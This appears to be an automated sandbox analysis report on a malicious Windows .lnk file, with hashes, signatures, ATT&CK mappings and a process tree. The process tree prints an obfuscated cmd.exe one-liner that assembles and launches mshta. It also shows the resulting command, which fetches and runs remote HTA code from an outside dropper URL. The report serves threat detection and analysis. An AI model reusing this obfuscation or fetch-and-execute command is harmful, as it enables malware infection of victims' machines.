85ee17a616583d9b84924fb21746c2405df9619fb0ade619dbd43d4b1f973c85

Analysis

max time kernel
60s
max time network
25s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/08/2026, 23:27

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General

Target
DOC-1Z6W8S.lnk
Size 2KB
Sample260827-3fkx7abc64
SHA256 85ee17a616583d9b84924fb21746c2405df9619fb0ade619dbd43d4b1f973c85
MD5 c4d71af9e140916a96c05b76d84862c9
SHA1 52a457bab8c9096201666d574574b99739b01d41
SHA512 4cb23f33082af600ba4d9bf97c725ea9a5b89f05dc845527b049209a44a2fbd373b405e3b20d70905336e4359440fbe35807a234ce7fa182ff00aa92b367e65b
TLSH
T1C34179903AEE00E8F3BB8E32EEFE37544A7BB6555DB0C59D4850814D0812B05E9B3B63
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4128	cmd.exe
2340	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4128 wrote to memory of 2340	4128	cmd.exe	89
PID 2340 wrote to memory of 5256	2340	cmd.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-1Z6W8S.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4128
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /v:on /C "set YQqbx=tmpcifcwtmp&&set qAg=datugwwdat&&set fNS=dbgrkybdbg&&set wup=dbgaqixdbg&&set cw=oldeayvsowcjygznbiold&&set ji=bakoldubak&&set FRCvN=netcewmnrkbjftnet&&set ntpx=dbgvmtfquvkrqmozfenswdbg&&set qD=westl&&set LR=parg3e&&set byFcu=o1tc&&set BVXDK=c0mf&&set FI=xheshtwx&&set ftqO=natv&&set QfqM=oldtiptxvtaoaold&&set sDd=ht@t@ps:@//@m@a@-@p@[email protected]/h/@es@ta@[email protected]@p@?r=39@1469F@B@5D@82@DB&&start /b !BVXDK:~2,1!!FI:~3,3!!ftqO:~1,1! !sDd:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2340
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:5256

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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